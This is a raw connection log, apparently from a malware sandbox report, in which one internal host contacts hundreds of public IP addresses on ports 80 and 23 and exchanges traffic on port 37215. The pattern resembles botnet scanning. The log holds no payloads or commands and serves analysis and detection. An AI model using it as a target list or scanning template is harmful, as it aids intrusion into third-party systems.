Dec 3, 2024 22:02:07.371944904 CET	39296	80	192.168.2.14	80.245.104.170
Dec 3, 2024 22:02:07.371958017 CET	39296	80	192.168.2.14	190.171.106.207
Dec 3, 2024 22:02:07.371965885 CET	39296	80	192.168.2.14	137.40.209.113
Dec 3, 2024 22:02:07.371965885 CET	39296	80	192.168.2.14	72.251.188.195
Dec 3, 2024 22:02:07.371965885 CET	39296	80	192.168.2.14	189.158.129.152
Dec 3, 2024 22:02:07.371965885 CET	39296	80	192.168.2.14	136.120.245.62
Dec 3, 2024 22:02:07.371967077 CET	39296	80	192.168.2.14	65.195.81.95
Dec 3, 2024 22:02:07.371969938 CET	39296	80	192.168.2.14	9.92.181.83
Dec 3, 2024 22:02:07.371965885 CET	39296	80	192.168.2.14	111.30.137.78
Dec 3, 2024 22:02:07.371967077 CET	39296	80	192.168.2.14	151.1.145.62
Dec 3, 2024 22:02:07.371973038 CET	39296	80	192.168.2.14	118.246.174.116
Dec 3, 2024 22:02:07.371969938 CET	39296	80	192.168.2.14	44.199.9.10
Dec 3, 2024 22:02:07.371973038 CET	39296	80	192.168.2.14	57.44.223.190
Dec 3, 2024 22:02:07.371969938 CET	39296	80	192.168.2.14	115.247.46.217
Dec 3, 2024 22:02:07.371975899 CET	39296	80	192.168.2.14	111.104.38.159
Dec 3, 2024 22:02:07.371973038 CET	39296	80	192.168.2.14	141.83.243.78
Dec 3, 2024 22:02:07.371969938 CET	39296	80	192.168.2.14	50.158.39.79
Dec 3, 2024 22:02:07.371975899 CET	39296	80	192.168.2.14	62.52.116.144
Dec 3, 2024 22:02:07.371969938 CET	39296	80	192.168.2.14	2.63.198.56
Dec 3, 2024 22:02:07.371973038 CET	39296	80	192.168.2.14	111.219.210.226
Dec 3, 2024 22:02:07.371984005 CET	39296	80	192.168.2.14	195.150.117.205
Dec 3, 2024 22:02:07.371984005 CET	39296	80	192.168.2.14	177.35.166.236
Dec 3, 2024 22:02:07.371984005 CET	39296	80	192.168.2.14	59.178.221.176
Dec 3, 2024 22:02:07.371984005 CET	39296	80	192.168.2.14	164.139.19.10
Dec 3, 2024 22:02:07.371988058 CET	39296	80	192.168.2.14	18.198.202.5
Dec 3, 2024 22:02:07.371989012 CET	39296	80	192.168.2.14	94.36.118.61
Dec 3, 2024 22:02:07.371989012 CET	39296	80	192.168.2.14	185.85.6.95
Dec 3, 2024 22:02:07.371989012 CET	39296	80	192.168.2.14	86.168.39.15
Dec 3, 2024 22:02:07.372003078 CET	39296	80	192.168.2.14	67.242.102.58
Dec 3, 2024 22:02:07.372004986 CET	39296	80	192.168.2.14	210.96.246.53
Dec 3, 2024 22:02:07.372009039 CET	39296	80	192.168.2.14	196.67.8.237
Dec 3, 2024 22:02:07.372026920 CET	39296	80	192.168.2.14	206.69.104.120
Dec 3, 2024 22:02:07.372028112 CET	39296	80	192.168.2.14	145.30.65.189
Dec 3, 2024 22:02:07.372040987 CET	39296	80	192.168.2.14	200.2.156.90
Dec 3, 2024 22:02:07.372046947 CET	39296	80	192.168.2.14	31.208.153.73
Dec 3, 2024 22:02:07.372049093 CET	39296	80	192.168.2.14	48.140.225.130
Dec 3, 2024 22:02:07.372385025 CET	47652	80	192.168.2.14	166.70.87.115
Dec 3, 2024 22:02:07.372879982 CET	60846	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:07.373385906 CET	42152	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:07.373887062 CET	53066	80	192.168.2.14	12.248.200.130
Dec 3, 2024 22:02:07.387813091 CET	37215	56034	41.108.8.89	192.168.2.14
Dec 3, 2024 22:02:07.387860060 CET	56034	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:07.388262987 CET	37215	53462	197.185.181.238	192.168.2.14
Dec 3, 2024 22:02:07.388396978 CET	53462	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:07.388804913 CET	37215	36778	41.131.73.124	192.168.2.14
Dec 3, 2024 22:02:07.388844967 CET	36778	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:07.389256954 CET	37215	55130	197.248.237.12	192.168.2.14
Dec 3, 2024 22:02:07.389303923 CET	55130	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:07.389595985 CET	37215	39806	41.154.223.212	192.168.2.14
Dec 3, 2024 22:02:07.389641047 CET	39806	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:07.389906883 CET	37215	43264	41.94.175.19	192.168.2.14
Dec 3, 2024 22:02:07.389942884 CET	43264	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:07.390258074 CET	37215	34354	156.16.80.231	192.168.2.14
Dec 3, 2024 22:02:07.390294075 CET	34354	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:07.390531063 CET	37215	43892	41.64.226.76	192.168.2.14
Dec 3, 2024 22:02:07.390587091 CET	43892	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:07.390784025 CET	37215	45698	41.224.48.182	192.168.2.14
Dec 3, 2024 22:02:07.390839100 CET	45698	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:07.391107082 CET	37215	39718	156.221.169.157	192.168.2.14
Dec 3, 2024 22:02:07.391146898 CET	39718	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:07.391340017 CET	37215	51928	156.189.89.236	192.168.2.14
Dec 3, 2024 22:02:07.391374111 CET	37215	50016	41.93.34.146	192.168.2.14
Dec 3, 2024 22:02:07.391383886 CET	37215	55814	41.115.186.149	192.168.2.14
Dec 3, 2024 22:02:07.391407967 CET	37215	51988	156.165.110.157	192.168.2.14
Dec 3, 2024 22:02:07.391417980 CET	37215	50940	41.148.211.218	192.168.2.14
Dec 3, 2024 22:02:07.391427994 CET	37215	33100	197.49.43.51	192.168.2.14
Dec 3, 2024 22:02:07.391436100 CET	37215	33100	197.49.43.51	192.168.2.14
Dec 3, 2024 22:02:07.391474009 CET	33100	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:07.391681910 CET	37215	51988	156.165.110.157	192.168.2.14
Dec 3, 2024 22:02:07.391721964 CET	51988	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:07.392175913 CET	37215	50940	41.148.211.218	192.168.2.14
Dec 3, 2024 22:02:07.392215014 CET	50940	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:07.392551899 CET	37215	51928	156.189.89.236	192.168.2.14
Dec 3, 2024 22:02:07.392591000 CET	51928	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:07.393007040 CET	37215	50016	41.93.34.146	192.168.2.14
Dec 3, 2024 22:02:07.393043995 CET	50016	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:07.393163919 CET	37215	55814	41.115.186.149	192.168.2.14
Dec 3, 2024 22:02:07.393229008 CET	55814	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:07.425242901 CET	37215	40320	41.240.12.174	192.168.2.14
Dec 3, 2024 22:02:07.425396919 CET	40320	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:07.425396919 CET	40320	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:07.430373907 CET	80	46952	85.122.192.250	192.168.2.14
Dec 3, 2024 22:02:07.430428028 CET	46952	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:07.449502945 CET	37215	52434	156.157.129.122	192.168.2.14
Dec 3, 2024 22:02:07.449707985 CET	52434	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.449707985 CET	52434	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.449707985 CET	52434	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.449929953 CET	37215	47020	41.68.156.199	192.168.2.14
Dec 3, 2024 22:02:07.450046062 CET	52446	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.450191021 CET	37215	47038	41.68.156.199	192.168.2.14
Dec 3, 2024 22:02:07.450229883 CET	47038	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.450450897 CET	47038	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.490865946 CET	80	39296	78.0.83.2	192.168.2.14
Dec 3, 2024 22:02:07.490890026 CET	80	39296	174.55.139.176	192.168.2.14
Dec 3, 2024 22:02:07.490994930 CET	39296	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:07.491092920 CET	39296	80	192.168.2.14	174.55.139.176
Dec 3, 2024 22:02:07.491168022 CET	80	39296	105.151.53.61	192.168.2.14
Dec 3, 2024 22:02:07.491182089 CET	80	39296	54.53.237.62	192.168.2.14
Dec 3, 2024 22:02:07.491192102 CET	80	39296	178.242.237.71	192.168.2.14
Dec 3, 2024 22:02:07.491200924 CET	80	39296	118.204.187.44	192.168.2.14
Dec 3, 2024 22:02:07.491209984 CET	80	39296	157.103.75.253	192.168.2.14
Dec 3, 2024 22:02:07.491215944 CET	39296	80	192.168.2.14	105.151.53.61
Dec 3, 2024 22:02:07.491219044 CET	39296	80	192.168.2.14	54.53.237.62
Dec 3, 2024 22:02:07.491219997 CET	80	39296	178.210.152.167	192.168.2.14
Dec 3, 2024 22:02:07.491229057 CET	80	39296	114.208.100.201	192.168.2.14
Dec 3, 2024 22:02:07.491238117 CET	39296	80	192.168.2.14	118.204.187.44
Dec 3, 2024 22:02:07.491240978 CET	39296	80	192.168.2.14	178.242.237.71
Dec 3, 2024 22:02:07.491246939 CET	39296	80	192.168.2.14	157.103.75.253
Dec 3, 2024 22:02:07.491246939 CET	80	39296	143.99.95.110	192.168.2.14
Dec 3, 2024 22:02:07.491250992 CET	39296	80	192.168.2.14	178.210.152.167
Dec 3, 2024 22:02:07.491250992 CET	80	39296	198.189.224.193	192.168.2.14
Dec 3, 2024 22:02:07.491256952 CET	80	39296	204.35.160.225	192.168.2.14
Dec 3, 2024 22:02:07.491265059 CET	80	39296	177.239.113.140	192.168.2.14
Dec 3, 2024 22:02:07.491270065 CET	39296	80	192.168.2.14	114.208.100.201
Dec 3, 2024 22:02:07.491280079 CET	39296	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:07.491282940 CET	39296	80	192.168.2.14	204.35.160.225
Dec 3, 2024 22:02:07.491293907 CET	39296	80	192.168.2.14	198.189.224.193
Dec 3, 2024 22:02:07.491297960 CET	39296	80	192.168.2.14	177.239.113.140
Dec 3, 2024 22:02:07.491377115 CET	37215	47020	41.68.156.199	192.168.2.14
Dec 3, 2024 22:02:07.545974016 CET	37215	40320	41.240.12.174	192.168.2.14
Dec 3, 2024 22:02:07.546068907 CET	40320	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:07.569750071 CET	37215	52434	156.157.129.122	192.168.2.14
Dec 3, 2024 22:02:07.570008993 CET	37215	52446	156.157.129.122	192.168.2.14
Dec 3, 2024 22:02:07.570146084 CET	52446	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.570147038 CET	52446	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.570400000 CET	37215	47038	41.68.156.199	192.168.2.14
Dec 3, 2024 22:02:07.570441961 CET	47038	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.611560106 CET	37215	52434	156.157.129.122	192.168.2.14
Dec 3, 2024 22:02:07.690464020 CET	37215	52446	156.157.129.122	192.168.2.14
Dec 3, 2024 22:02:07.690619946 CET	52446	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:08.191337109 CET	39808	23	192.168.2.14	170.54.50.234
Dec 3, 2024 22:02:08.191337109 CET	39808	23	192.168.2.14	72.213.124.48
Dec 3, 2024 22:02:08.191344023 CET	39808	23	192.168.2.14	99.162.36.32
Dec 3, 2024 22:02:08.191349983 CET	39808	23	192.168.2.14	210.32.68.80
Dec 3, 2024 22:02:08.191344023 CET	39808	23	192.168.2.14	58.204.211.161
Dec 3, 2024 22:02:08.191344023 CET	39808	23	192.168.2.14	186.173.143.231
Dec 3, 2024 22:02:08.191354990 CET	39808	23	192.168.2.14	20.91.200.172
Dec 3, 2024 22:02:08.191365957 CET	39808	23	192.168.2.14	64.162.67.243
Dec 3, 2024 22:02:08.191365957 CET	39808	23	192.168.2.14	125.15.86.135
Dec 3, 2024 22:02:08.191368103 CET	39808	23	192.168.2.14	94.153.142.51
Dec 3, 2024 22:02:08.191370010 CET	39808	23	192.168.2.14	90.22.126.161
Dec 3, 2024 22:02:08.191370964 CET	39808	23	192.168.2.14	87.48.97.116
Dec 3, 2024 22:02:08.191370964 CET	39808	23	192.168.2.14	116.128.242.240
Dec 3, 2024 22:02:08.191370964 CET	39808	23	192.168.2.14	39.144.96.220
Dec 3, 2024 22:02:08.191380978 CET	39808	23	192.168.2.14	201.18.21.225
Dec 3, 2024 22:02:08.191395044 CET	39808	23	192.168.2.14	117.197.241.222
Dec 3, 2024 22:02:08.191395044 CET	39808	23	192.168.2.14	158.198.190.0
Dec 3, 2024 22:02:08.191395044 CET	39808	23	192.168.2.14	175.196.171.110
Dec 3, 2024 22:02:08.191395044 CET	39808	23	192.168.2.14	108.161.31.74
Dec 3, 2024 22:02:08.191402912 CET	39808	23	192.168.2.14	173.85.40.15
Dec 3, 2024 22:02:08.191405058 CET	39808	23	192.168.2.14	102.101.228.208
Dec 3, 2024 22:02:08.191406012 CET	39808	23	192.168.2.14	138.169.74.145
Dec 3, 2024 22:02:08.191405058 CET	39808	23	192.168.2.14	128.187.42.243
Dec 3, 2024 22:02:08.191406012 CET	39808	23	192.168.2.14	112.32.138.144
Dec 3, 2024 22:02:08.191405058 CET	39808	23	192.168.2.14	203.209.206.88
Dec 3, 2024 22:02:08.191406012 CET	39808	23	192.168.2.14	8.238.9.246
Dec 3, 2024 22:02:08.191405058 CET	39808	23	192.168.2.14	189.37.205.80
Dec 3, 2024 22:02:08.191405058 CET	39808	23	192.168.2.14	42.22.11.164
Dec 3, 2024 22:02:08.191411018 CET	39808	23	192.168.2.14	113.217.196.67
Dec 3, 2024 22:02:08.191410065 CET	39808	23	192.168.2.14	178.100.72.57
Dec 3, 2024 22:02:08.191410065 CET	39808	23	192.168.2.14	77.13.88.103
Dec 3, 2024 22:02:08.191410065 CET	39808	23	192.168.2.14	20.133.124.244
Dec 3, 2024 22:02:08.191410065 CET	39808	23	192.168.2.14	57.102.84.217
Dec 3, 2024 22:02:08.191422939 CET	39808	23	192.168.2.14	195.82.9.76
Dec 3, 2024 22:02:08.191427946 CET	39808	23	192.168.2.14	138.177.240.7
Dec 3, 2024 22:02:08.191442966 CET	39808	23	192.168.2.14	131.222.34.60
Dec 3, 2024 22:02:08.191442966 CET	39808	23	192.168.2.14	40.235.153.75
Dec 3, 2024 22:02:08.191443920 CET	39808	23	192.168.2.14	146.22.222.244
Dec 3, 2024 22:02:08.191445112 CET	39808	23	192.168.2.14	35.109.140.61
Dec 3, 2024 22:02:08.191445112 CET	39808	23	192.168.2.14	204.47.89.247
Dec 3, 2024 22:02:08.191447020 CET	39808	23	192.168.2.14	117.192.200.29
Dec 3, 2024 22:02:08.191468954 CET	39808	23	192.168.2.14	105.206.190.91
Dec 3, 2024 22:02:08.191468954 CET	39808	23	192.168.2.14	18.196.24.16
Dec 3, 2024 22:02:08.191468954 CET	39808	23	192.168.2.14	151.10.113.141
Dec 3, 2024 22:02:08.191483021 CET	39808	23	192.168.2.14	220.146.52.34
Dec 3, 2024 22:02:08.191483021 CET	39808	23	192.168.2.14	37.235.95.122
Dec 3, 2024 22:02:08.191490889 CET	39808	23	192.168.2.14	106.75.115.200
Dec 3, 2024 22:02:08.191493034 CET	39808	23	192.168.2.14	137.121.32.250
Dec 3, 2024 22:02:08.191493034 CET	39808	23	192.168.2.14	99.133.31.233
Dec 3, 2024 22:02:08.191490889 CET	39808	23	192.168.2.14	160.7.127.6
Dec 3, 2024 22:02:08.191490889 CET	39808	23	192.168.2.14	152.197.136.216
Dec 3, 2024 22:02:08.191490889 CET	39808	23	192.168.2.14	85.143.48.12
Dec 3, 2024 22:02:08.191499949 CET	39808	23	192.168.2.14	71.186.116.33
Dec 3, 2024 22:02:08.191499949 CET	39808	23	192.168.2.14	135.73.175.235
Dec 3, 2024 22:02:08.191502094 CET	39808	23	192.168.2.14	24.178.91.105
Dec 3, 2024 22:02:08.191503048 CET	39808	23	192.168.2.14	174.161.2.242
Dec 3, 2024 22:02:08.191503048 CET	39808	23	192.168.2.14	176.242.164.249
Dec 3, 2024 22:02:08.191514969 CET	39808	23	192.168.2.14	156.144.5.88
Dec 3, 2024 22:02:08.191520929 CET	39808	23	192.168.2.14	158.67.181.17
Dec 3, 2024 22:02:08.191523075 CET	39808	23	192.168.2.14	177.204.20.45
Dec 3, 2024 22:02:08.191530943 CET	39808	23	192.168.2.14	122.236.188.252
Dec 3, 2024 22:02:08.191530943 CET	39808	23	192.168.2.14	123.227.142.137
Dec 3, 2024 22:02:08.191536903 CET	39808	23	192.168.2.14	135.34.122.35
Dec 3, 2024 22:02:08.191540956 CET	39808	23	192.168.2.14	209.176.118.82
Dec 3, 2024 22:02:08.191546917 CET	39808	23	192.168.2.14	167.213.71.128
Dec 3, 2024 22:02:08.191555023 CET	39808	23	192.168.2.14	89.164.138.217
Dec 3, 2024 22:02:08.191555023 CET	39808	23	192.168.2.14	101.76.26.189
Dec 3, 2024 22:02:08.191555023 CET	39808	23	192.168.2.14	183.197.24.172
Dec 3, 2024 22:02:08.191570997 CET	39808	23	192.168.2.14	167.185.107.178
Dec 3, 2024 22:02:08.191575050 CET	39808	23	192.168.2.14	223.212.228.24
Dec 3, 2024 22:02:08.191575050 CET	39808	23	192.168.2.14	17.135.24.199
Dec 3, 2024 22:02:08.191586971 CET	39808	23	192.168.2.14	126.104.62.242
Dec 3, 2024 22:02:08.191602945 CET	39808	23	192.168.2.14	102.35.121.247
Dec 3, 2024 22:02:08.191602945 CET	39808	23	192.168.2.14	146.221.179.97
Dec 3, 2024 22:02:08.191602945 CET	39808	23	192.168.2.14	201.40.87.145
Dec 3, 2024 22:02:08.191616058 CET	39808	23	192.168.2.14	192.34.195.169
Dec 3, 2024 22:02:08.191617012 CET	39808	23	192.168.2.14	153.134.139.238
Dec 3, 2024 22:02:08.191628933 CET	39808	23	192.168.2.14	70.59.25.116
Dec 3, 2024 22:02:08.191633940 CET	39808	23	192.168.2.14	119.213.207.151
Dec 3, 2024 22:02:08.191633940 CET	39808	23	192.168.2.14	63.221.87.74
Dec 3, 2024 22:02:08.191652060 CET	39808	23	192.168.2.14	190.101.53.213
Dec 3, 2024 22:02:08.191652060 CET	39808	23	192.168.2.14	121.47.181.158
Dec 3, 2024 22:02:08.191653013 CET	39808	23	192.168.2.14	113.175.205.31
Dec 3, 2024 22:02:08.191667080 CET	39808	23	192.168.2.14	126.251.149.191
Dec 3, 2024 22:02:08.191670895 CET	39808	23	192.168.2.14	13.227.177.245
Dec 3, 2024 22:02:08.191673994 CET	39808	23	192.168.2.14	157.238.237.93
Dec 3, 2024 22:02:08.191680908 CET	39808	23	192.168.2.14	4.73.97.191
Dec 3, 2024 22:02:08.191690922 CET	39808	23	192.168.2.14	126.157.98.92
Dec 3, 2024 22:02:08.191690922 CET	39808	23	192.168.2.14	97.170.180.111
Dec 3, 2024 22:02:08.191698074 CET	39808	23	192.168.2.14	165.106.79.8
Dec 3, 2024 22:02:08.191715002 CET	39808	23	192.168.2.14	115.21.227.1
Dec 3, 2024 22:02:08.191715002 CET	39808	23	192.168.2.14	197.230.72.194
Dec 3, 2024 22:02:08.191719055 CET	39808	23	192.168.2.14	51.201.160.20
Dec 3, 2024 22:02:08.191719055 CET	39808	23	192.168.2.14	99.32.249.28
Dec 3, 2024 22:02:08.191720009 CET	39808	23	192.168.2.14	61.151.134.45
Dec 3, 2024 22:02:08.191730022 CET	39808	23	192.168.2.14	9.43.164.94
Dec 3, 2024 22:02:08.191735029 CET	39808	23	192.168.2.14	5.195.138.119
Dec 3, 2024 22:02:08.191737890 CET	39808	23	192.168.2.14	148.4.90.223
Dec 3, 2024 22:02:08.191752911 CET	39808	23	192.168.2.14	167.42.162.42
Dec 3, 2024 22:02:08.191756010 CET	39808	23	192.168.2.14	149.38.206.244
Dec 3, 2024 22:02:08.191756010 CET	39808	23	192.168.2.14	76.252.25.73
Dec 3, 2024 22:02:08.191760063 CET	39808	23	192.168.2.14	203.188.90.121
Dec 3, 2024 22:02:08.191770077 CET	39808	23	192.168.2.14	152.74.185.171
Dec 3, 2024 22:02:08.191775084 CET	39808	23	192.168.2.14	192.253.12.239
Dec 3, 2024 22:02:08.191781044 CET	39808	23	192.168.2.14	138.102.131.145
Dec 3, 2024 22:02:08.191787004 CET	39808	23	192.168.2.14	44.208.63.191
Dec 3, 2024 22:02:08.191801071 CET	39808	23	192.168.2.14	151.114.5.101
Dec 3, 2024 22:02:08.191802025 CET	39808	23	192.168.2.14	209.100.121.189
Dec 3, 2024 22:02:08.191802979 CET	39808	23	192.168.2.14	205.182.173.244
Dec 3, 2024 22:02:08.191819906 CET	39808	23	192.168.2.14	54.207.201.53
Dec 3, 2024 22:02:08.191821098 CET	39808	23	192.168.2.14	23.231.78.160
Dec 3, 2024 22:02:08.191823959 CET	39808	23	192.168.2.14	213.208.7.22
Dec 3, 2024 22:02:08.191823959 CET	39808	23	192.168.2.14	49.70.66.2
Dec 3, 2024 22:02:08.191823959 CET	39808	23	192.168.2.14	140.207.175.163
Dec 3, 2024 22:02:08.191836119 CET	39808	23	192.168.2.14	136.126.98.238
Dec 3, 2024 22:02:08.191838980 CET	39808	23	192.168.2.14	142.238.100.139
Dec 3, 2024 22:02:08.191838980 CET	39808	23	192.168.2.14	148.80.86.134
Dec 3, 2024 22:02:08.191838980 CET	39808	23	192.168.2.14	172.189.14.225
Dec 3, 2024 22:02:08.191838980 CET	39808	23	192.168.2.14	54.69.157.186
Dec 3, 2024 22:02:08.191848040 CET	39808	23	192.168.2.14	83.3.34.59
Dec 3, 2024 22:02:08.191848993 CET	39808	23	192.168.2.14	187.186.132.22
Dec 3, 2024 22:02:08.191858053 CET	39808	23	192.168.2.14	168.164.119.100
Dec 3, 2024 22:02:08.191862106 CET	39808	23	192.168.2.14	69.69.247.250
Dec 3, 2024 22:02:08.191873074 CET	39808	23	192.168.2.14	4.128.3.76
Dec 3, 2024 22:02:08.191879988 CET	39808	23	192.168.2.14	204.203.20.110
Dec 3, 2024 22:02:08.191891909 CET	39808	23	192.168.2.14	39.114.42.9
Dec 3, 2024 22:02:08.191895008 CET	39808	23	192.168.2.14	154.239.240.199
Dec 3, 2024 22:02:08.191905022 CET	39808	23	192.168.2.14	103.96.34.129
Dec 3, 2024 22:02:08.191906929 CET	39808	23	192.168.2.14	86.130.33.143
Dec 3, 2024 22:02:08.191910028 CET	39808	23	192.168.2.14	63.125.194.196
Dec 3, 2024 22:02:08.191911936 CET	39808	23	192.168.2.14	130.181.51.84
Dec 3, 2024 22:02:08.191911936 CET	39808	23	192.168.2.14	119.124.75.57
Dec 3, 2024 22:02:08.191914082 CET	39808	23	192.168.2.14	94.144.228.205
Dec 3, 2024 22:02:08.191926956 CET	39808	23	192.168.2.14	120.159.51.30
Dec 3, 2024 22:02:08.191929102 CET	39808	23	192.168.2.14	36.38.122.182
Dec 3, 2024 22:02:08.191935062 CET	39808	23	192.168.2.14	176.151.37.82
Dec 3, 2024 22:02:08.191941023 CET	39808	23	192.168.2.14	126.45.195.134
Dec 3, 2024 22:02:08.191941023 CET	39808	23	192.168.2.14	161.98.113.129
Dec 3, 2024 22:02:08.191952944 CET	39808	23	192.168.2.14	116.173.212.165
Dec 3, 2024 22:02:08.191952944 CET	39808	23	192.168.2.14	71.182.14.216
Dec 3, 2024 22:02:08.191952944 CET	39808	23	192.168.2.14	17.249.250.239
Dec 3, 2024 22:02:08.191961050 CET	39808	23	192.168.2.14	181.153.137.162
Dec 3, 2024 22:02:08.191967964 CET	39808	23	192.168.2.14	8.182.128.95
Dec 3, 2024 22:02:08.191973925 CET	39808	23	192.168.2.14	97.253.97.53
Dec 3, 2024 22:02:08.191976070 CET	39808	23	192.168.2.14	201.115.48.17
Dec 3, 2024 22:02:08.191976070 CET	39808	23	192.168.2.14	72.56.80.172
Dec 3, 2024 22:02:08.191982031 CET	39808	23	192.168.2.14	126.90.74.160
Dec 3, 2024 22:02:08.191998959 CET	39808	23	192.168.2.14	216.125.254.111
Dec 3, 2024 22:02:08.192001104 CET	39808	23	192.168.2.14	128.191.41.25
Dec 3, 2024 22:02:08.192001104 CET	39808	23	192.168.2.14	87.75.246.189
Dec 3, 2024 22:02:08.192001104 CET	39808	23	192.168.2.14	200.53.53.22
Dec 3, 2024 22:02:08.192008018 CET	39808	23	192.168.2.14	62.249.83.73
Dec 3, 2024 22:02:08.192022085 CET	39808	23	192.168.2.14	36.170.134.115
Dec 3, 2024 22:02:08.192025900 CET	39808	23	192.168.2.14	138.218.193.176
Dec 3, 2024 22:02:08.192025900 CET	39808	23	192.168.2.14	107.214.157.123
Dec 3, 2024 22:02:08.192028999 CET	39808	23	192.168.2.14	183.9.179.49
Dec 3, 2024 22:02:08.192034006 CET	39808	23	192.168.2.14	188.97.62.253
Dec 3, 2024 22:02:08.192059994 CET	39808	23	192.168.2.14	65.84.0.167
Dec 3, 2024 22:02:08.192059994 CET	39808	23	192.168.2.14	131.154.170.225
Dec 3, 2024 22:02:08.192061901 CET	39808	23	192.168.2.14	164.34.0.31
Dec 3, 2024 22:02:08.192061901 CET	39808	23	192.168.2.14	128.251.156.87
Dec 3, 2024 22:02:08.192061901 CET	39808	23	192.168.2.14	197.90.22.68
Dec 3, 2024 22:02:08.192064047 CET	39808	23	192.168.2.14	150.37.163.212
Dec 3, 2024 22:02:08.192073107 CET	39808	23	192.168.2.14	133.31.84.151
Dec 3, 2024 22:02:08.192085028 CET	39808	23	192.168.2.14	222.212.52.208
Dec 3, 2024 22:02:08.192095041 CET	39808	23	192.168.2.14	163.201.127.118
Dec 3, 2024 22:02:08.192095995 CET	39808	23	192.168.2.14	43.85.195.99
Dec 3, 2024 22:02:08.192095041 CET	39808	23	192.168.2.14	13.154.93.241
Dec 3, 2024 22:02:08.192105055 CET	39808	23	192.168.2.14	75.54.77.55
Dec 3, 2024 22:02:08.192115068 CET	39808	23	192.168.2.14	92.68.26.146
Dec 3, 2024 22:02:08.192116022 CET	39808	23	192.168.2.14	197.142.167.112
Dec 3, 2024 22:02:08.192133904 CET	39808	23	192.168.2.14	101.194.208.243
Dec 3, 2024 22:02:08.192143917 CET	39808	23	192.168.2.14	54.112.17.34
Dec 3, 2024 22:02:08.192143917 CET	39808	23	192.168.2.14	64.2.169.119
Dec 3, 2024 22:02:08.192151070 CET	39808	23	192.168.2.14	171.177.151.208
Dec 3, 2024 22:02:08.192151070 CET	39808	23	192.168.2.14	116.177.148.179
Dec 3, 2024 22:02:08.192157984 CET	39808	23	192.168.2.14	123.206.6.180
Dec 3, 2024 22:02:08.192163944 CET	39808	23	192.168.2.14	43.96.173.225
Dec 3, 2024 22:02:08.192166090 CET	39808	23	192.168.2.14	173.67.193.12
Dec 3, 2024 22:02:08.192166090 CET	39808	23	192.168.2.14	19.186.137.72
Dec 3, 2024 22:02:08.192176104 CET	39808	23	192.168.2.14	154.108.190.203
Dec 3, 2024 22:02:08.192178011 CET	39808	23	192.168.2.14	61.39.240.125
Dec 3, 2024 22:02:08.192186117 CET	39808	23	192.168.2.14	82.108.137.195
Dec 3, 2024 22:02:08.192187071 CET	39808	23	192.168.2.14	103.198.146.37
Dec 3, 2024 22:02:08.192198038 CET	39808	23	192.168.2.14	97.219.145.14
Dec 3, 2024 22:02:08.192198038 CET	39808	23	192.168.2.14	121.49.30.90
Dec 3, 2024 22:02:08.192215919 CET	39808	23	192.168.2.14	142.236.214.202
Dec 3, 2024 22:02:08.192219973 CET	39808	23	192.168.2.14	114.30.166.66
Dec 3, 2024 22:02:08.192219973 CET	39808	23	192.168.2.14	219.126.116.15
Dec 3, 2024 22:02:08.192238092 CET	39808	23	192.168.2.14	27.95.12.21
Dec 3, 2024 22:02:08.192238092 CET	39808	23	192.168.2.14	17.69.252.207
Dec 3, 2024 22:02:08.192249060 CET	39808	23	192.168.2.14	125.194.47.131
Dec 3, 2024 22:02:08.192255020 CET	39808	23	192.168.2.14	99.162.156.94
Dec 3, 2024 22:02:08.192255020 CET	39808	23	192.168.2.14	103.126.27.50
Dec 3, 2024 22:02:08.192255974 CET	39808	23	192.168.2.14	146.166.186.215
Dec 3, 2024 22:02:08.192270041 CET	39808	23	192.168.2.14	216.118.243.34
Dec 3, 2024 22:02:08.192271948 CET	39808	23	192.168.2.14	14.120.83.124
Dec 3, 2024 22:02:08.192276001 CET	39808	23	192.168.2.14	153.251.188.101
Dec 3, 2024 22:02:08.192285061 CET	39808	23	192.168.2.14	123.40.182.57
Dec 3, 2024 22:02:08.192285061 CET	39808	23	192.168.2.14	174.206.124.2
Dec 3, 2024 22:02:08.192287922 CET	39808	23	192.168.2.14	47.77.40.146
Dec 3, 2024 22:02:08.192287922 CET	39808	23	192.168.2.14	203.175.34.209
Dec 3, 2024 22:02:08.192289114 CET	39808	23	192.168.2.14	19.252.9.177
Dec 3, 2024 22:02:08.192297935 CET	39808	23	192.168.2.14	159.134.252.157
Dec 3, 2024 22:02:08.192305088 CET	39808	23	192.168.2.14	92.134.107.89
Dec 3, 2024 22:02:08.192306042 CET	39808	23	192.168.2.14	140.5.40.37
Dec 3, 2024 22:02:08.192305088 CET	39808	23	192.168.2.14	35.180.102.27
Dec 3, 2024 22:02:08.192312956 CET	39808	23	192.168.2.14	197.182.159.65
Dec 3, 2024 22:02:08.192313910 CET	39808	23	192.168.2.14	116.114.54.195
